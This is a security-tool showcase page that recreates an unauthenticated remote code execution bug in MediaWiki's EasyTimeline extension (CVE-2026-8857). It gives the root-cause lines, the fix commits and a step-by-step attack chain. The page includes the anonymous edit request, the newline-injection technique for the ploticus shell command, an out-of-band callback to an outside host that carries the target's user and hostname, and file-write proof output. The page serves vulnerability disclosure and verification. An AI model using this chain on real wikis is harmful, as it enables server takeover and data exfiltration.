Neo by ProjectDiscovery
ShowcaseChangelog
Sign in
MediaWiki EasyTimeline - Code Injection vulnerability recreation

CVE-2026-8857 — MediaWiki EasyTimeline RCE

Unauthenticated Remote Code Execution via code injection in EasyTimeline.pl·Manual exploit · MediaWiki Timeline ext @49f5e99 · T426631·
Assessment Summary
Critical
Severity
9.8
CVSS
None
Auth Required
Yes
RCE Confirmed
Received
OOB Callback
Confirmed
File Write PoC
Unauthenticated RCE confirmed on deployed target
CVE-2026-8857 — EasyTimeline Ploticus Command Injection (Unauthenticated RCE)
CriticalCVSS 9.8http://kt0ecya4t0dvqpek9p6ovj687py4s9t9.tryneoai.com — MediaWiki 1.43.9, Timeline ext @49f5e99CVE-2026-8857CWE-94, CWE-78
Impact
Steps to reproduce
Remediation
Evidence
Exploit Payload (wikitext)
/workspace/tasks/b8770ade-4aef-44f3-8fad-085d4b4c173a/poc/exploit.txtmediawiki
Literal \n characters (backslash-n) in the TextData text field survive the broken sanitizer and become real LFs in the ploticus script, injecting a #proc getdata block with a shell command.
Anonymous Edit Request (payload delivery)
POSThttp://kt0ecya4t0dvqpek9p6ovj687py4s9t9.tryneoai.com/api.php200
Request
POST /api.php HTTP/1.1
Host: kt0ecya4t0dvqpek9p6ovj687py4s9t9.tryneoai.com
Content-Type: application/x-www-form-urlencoded
Cookie: my_wiki_session=omf5r79du3s4jnkvpgi898gscrmcelpi

action=edit&title=CVE20268857PoC&format=json&token=%2B%5C&text=<timeline>...</timeline>
Response
HTTP/1.1 200 OK
Content-Type: application/json

{"edit":{"new":"","result":"Success","pageid":3,"title":"CVE20268857PoC","newrevid":3,"newtimestamp":"2026-08-06T02:23:51Z"}}
Unauthenticated edit accepted using the anonymous CSRF token (+\). Page id 3 created.
Render Trigger & File-Write Proof
GEThttp://kt0ecya4t0dvqpek9p6ovj687py4s9t9.tryneoai.com/images/timeline/pwned.txt200
Response
HTTP/1.1 200 OK
Content-Type: text/plain

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux 44e6c76d51c2 6.18.5 #1 SMP Wed Jan 28 20:01:07 UTC 2026 x86_64 GNU/Linux
/var/www/html/cache/tmp/shellbox-f3df0c46e5b13d54
Command output written to the web root and retrieved over HTTP. CWD confirms shell spawned inside Shellbox temp dir → parent is ploticus, launched by EasyTimeline.pl.
OOB Callback Receipt
curl -s https://0ac.io/c/npqlkizsb24b — polled after page render
GET /c/npqlkizsb24b/hit-www-data-44e6c76d51c2
source_ip: 34.173.31.12   (= target host)
User-Agent: curl/8.14.1
timestamp:  2026-08-06T02:23:52.680401Z
Path segment is live output of $(id -un) and $(hostname) — shell expansion occurred on the target server, not the client.
File-Write Proof Contents (/images/timeline/pwned.txt)
curl -s http://kt0ecya4t0dvqpek9p6ovj687py4s9t9.tryneoai.com/images/timeline/pwned.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux 44e6c76d51c2 6.18.5 #1 SMP Wed Jan 28 20:01:07 UTC 2026 x86_64 GNU/Linux
/var/www/html/cache/tmp/shellbox-f3df0c46e5b13d54
Three independent data points: process identity, kernel version, and working directory all confirm live code execution on the target.
References
Root Cause — Vulnerable Code
File
scripts/EasyTimeline.pl
Vulnerable line (ParseBarData)
Line 820: $text =~ s/\\n/~/gs;
Vulnerable line (ParseTextData)
Line 2727: $text =~ s/\\n/~/gs;
Sink
system( ploticus … ) — lines 3989 & 4034, no -noshell flag
Attacker-controlled input
TextData text:"..." field value; \n (literal) → real LF via ExtractText
Broken sanitizer
Strips only literal 2-char \n sequence; real LF injected by ExtractText survives
Fix commit (REL1_43)
791a2af — SECURITY: EasyTimeline: Harden against script injection via TextData (T426631)
Follow-up commit
d861c8d — additional hardening
Pinned vulnerable commit
49f5e997ab887a779ce790153dba267b900d487b (parent of 791a2af)
Attack Chain
  1. 1
    Anonymous HTTP POSTaction=edit via MediaWiki API, token=+\
  2. 2
    TextData text fieldLiteral \n characters embedded in wikitext payload
  3. 3
    ExtractText()EasyTimeline.pl converts \n → real LF (line ~820/2727)
  4. 4
    Broken sanitizers/\\n/~/gs strips only literal \n; real LF passes through
  5. 5
    Ploticus script generated#proc getdata\ncommand: <attacker cmd> injected
  6. 6
    system(ploticus …) — no -noshellEasyTimeline.pl lines 3989/4034
  7. 7
    Shell command executesAs www-data (uid 33); OOB callback + file write confirmed
Target Environment
URL
http://kt0ecya4t0dvqpek9p6ovj687py4s9t9.tryneoai.com
MediaWiki version
1.43.9
PHP
8.3.33
OS
Debian 13 (trixie), Linux 6.18.5 x86_64
ploticus
2.42-May2013 at /usr/bin/ploticus
Timeline ext commit
49f5e99 (pre-patch; fix commit 791a2af absent)
Execution context
www-data (uid=33, gid=33)
Container ID
9a8c8f88-5971-40b0-ab16-eb817abca77a
Evidence workspace
/workspace/tasks/b8770ade-4aef-44f3-8fad-085d4b4c173a/poc/